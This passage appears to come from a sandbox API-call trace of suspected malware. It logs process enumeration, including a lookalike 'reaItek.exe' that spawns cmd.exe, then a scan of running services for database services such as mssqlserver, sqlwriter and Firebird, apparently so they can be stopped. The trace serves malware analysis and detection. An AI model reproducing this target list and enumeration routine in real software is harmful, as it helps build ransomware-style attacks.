th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mixture_bidding_beam.exe")) returned 1 [0102.076] lstrlenW (lpString="mixture_bidding_beam.exe") returned 24 [0102.076] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="customs-denial-enough.exe")) returned 1 [0102.077] lstrlenW (lpString="customs-denial-enough.exe") returned 25 [0102.077] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0102.078] lstrlenW (lpString="dome.exe") returned 8 [0102.078] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wires_jacket_neighborhood.exe")) returned 1 [0102.079] lstrlenW (lpString="wires_jacket_neighborhood.exe") returned 29 [0102.079] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="paying.exe")) returned 1 [0102.080] lstrlenW (lpString="paying.exe") returned 10 [0102.080] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emission.exe")) returned 1 [0102.081] lstrlenW (lpString="emission.exe") returned 12 [0102.081] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sandy_barriers.exe")) returned 1 [0102.082] lstrlenW (lpString="sandy_barriers.exe") returned 18 [0102.082] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charter.exe")) returned 1 [0102.083] lstrlenW (lpString="charter.exe") returned 11 [0102.083] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0102.084] lstrlenW (lpString="nickel.exe") returned 10 [0102.084] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened-conservative-warnings.exe")) returned 1 [0102.085] lstrlenW (lpString="opened-conservative-warnings.exe") returned 32 [0102.085] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist.exe")) returned 1 [0102.087] lstrlenW (lpString="wrist.exe") returned 9 [0102.087] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bloodpopularity.exe")) returned 1 [0102.088] lstrlenW (lpString="bloodpopularity.exe") returned 19 [0102.088] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="neck.exe")) returned 1 [0102.089] lstrlenW (lpString="neck.exe") returned 8 [0102.089] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0102.090] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0102.090] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0102.091] lstrlenW (lpString="dllhost.exe") returned 11 [0102.091] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0102.092] lstrlenW (lpString="taskhostw.exe") returned 13 [0102.092] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.093] lstrlenW (lpString="svchost.exe") returned 11 [0102.093] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.094] lstrlenW (lpString="svchost.exe") returned 11 [0102.095] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaItek.exe")) returned 1 [0102.485] lstrlenW (lpString="reaItek.exe") returned 11 [0102.486] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0102.486] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0102.487] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0102.487] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0102.487] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0102.488] lstrlenW (lpString="conhost.exe") returned 11 [0102.488] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x408, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0102.489] lstrlenW (lpString="cmd.exe") returned 7 [0102.489] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0102.490] lstrlenW (lpString="conhost.exe") returned 11 [0102.490] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0102.491] lstrlenW (lpString="sppsvc.exe") returned 10 [0102.491] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 0 [0102.492] CloseHandle (hObject=0x320) returned 1 [0102.492] Sleep (dwMilliseconds=0x1f4) [0103.466] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5feca0 [0103.467] EnumServicesStatusExW (in: hSCManager=0x5feca0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0103.468] GetLastError () returned 0xea [0103.468] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x2032) returned 0x625278 [0103.468] EnumServicesStatusExW (in: hSCManager=0x5feca0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x625278, cbBufSize=0x2032, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x625278, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0103.469] CloseServiceHandle (hSCObject=0x5feca0) returned 1 [0103.469] lstrlenW (lpString="Appinfo") returned 7 [0103.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0103.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0103.469] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0103.469] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0103.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0103.469] lstrlenW (lpString="AppXSvc") returned 7 [0103.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0103.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0103.469] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0103.469] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0103.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0103.469] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0103.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0103.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0103.469] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0103.469] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0103.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0103.470] lstrlenW (lpString="Audiosrv") returned 8 [0103.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0103.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0103.470] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0103.470] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0103.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0103.470] lstrlenW (lpString="BFE") returned 3 [0103.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0103.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0103.470] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0103.470] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0103.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0103.470] lstrlenW (lpString="BITS") returned 4 [0103.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0103.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0103.470] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0103.470] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0103.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0103.470] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0103.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0103.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0103.470] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0103.470] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0103.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0103.470] lstrlenW (lpString="CDPSvc") returned 6 [0103.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0103.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0103.471] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0103.471] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0103.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0103.471] lstrlenW (lpString="ClickToRunSvc") returned 13 [0103.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0103.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0103.471] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0103.471] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0103.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0103.471] lstrlenW (lpString="ClipSVC") returned 7 [0103.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0103.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0103.471] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0103.471] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0103.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0103.471] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0103.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0103.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0103.471] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0103.471] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0103.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0103.471] lstrlenW (lpString="CryptSvc") returned 8 [0103.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0103.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0103.471] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0103.471] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0103.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0103.472] lstrlenW (lpString="DcomLaunch") returned 10 [0103.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0103.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0103.472] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0103.472] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0103.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0103.472] lstrlenW (lpString="DeviceAssociationService") returned 24 [0103.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0103.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0103.472] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0103.472] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0103.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0103.472] lstrlenW (lpString="Dhcp") returned 4 [0103.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0103.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0103.472] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0103.472] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0103.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0103.472] lstrlenW (lpString="Dnscache") returned 8 [0103.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0103.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0103.472] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0103.472] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0103.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0103.472] lstrlenW (lpString="DoSvc") returned 5 [0103.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0103.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0103.473] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0103.473] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0103.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0103.473] lstrlenW (lpString="DPS") returned 3 [0103.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0103.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0103.473] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0103.473] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0103.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0103.473] lstrlenW (lpString="DusmSvc") returned 7 [0103.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0103.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0103.473] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0103.473] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0103.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0103.473] lstrlenW (lpString="EventLog") returned 8 [0103.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0103.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0103.473] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0103.473] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0103.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0103.473] lstrlenW (lpString="EventSystem") returned 11 [0103.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0103.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0103.473] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0103.473] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0103.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0103.474] lstrlenW (lpString="FontCache") returned 9 [0103.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0103.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0103.474] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0103.474] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0103.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0103.474] lstrlenW (lpString="gpsvc") returned 5 [0103.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0103.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0103.474] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0103.474] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0103.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0103.474] lstrlenW (lpString="iphlpsvc") returned 8 [0103.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0103.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0103.474] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0103.474] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0103.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0103.474] lstrlenW (lpString="KeyIso") returned 6 [0103.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0103.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0103.474] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0103.474] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0103.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0103.474] lstrlenW (lpString="LanmanServer") returned 12 [0103.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0103.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0103.475] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0103.475] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0103.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0103.475] lstrlenW (lpString="LanmanWorkstation") returned 17 [0103.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0103.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0103.475] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0103.475] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0103.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0103.475] lstrlenW (lpString="lfsvc") returned 5 [0103.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0103.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0103.475] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0103.475] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0103.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0103.475] lstrlenW (lpString="LicenseManager") returned 14 [0103.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0103.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0103.475] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0103.475] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0103.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0103.475] lstrlenW (lpString="lmhosts") returned 7 [0103.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0103.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0103.475] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0103.475] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0103.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0103.476] lstrlenW (lpString="LSM") returned 3 [0103.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0103.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0103.476] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0103.476] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0103.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0103.476] lstrlenW (lpString="MapsBroker") returned 10 [0103.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0103.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0103.476] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0103.476] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0103.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0103.476] lstrlenW (lpString="MpsSvc") returned 6 [0103.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0103.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0103.476] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0103.476] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0103.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0103.476] lstrlenW (lpString="NcbService") returned 10 [0103.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0103.476] lstrcmpiW 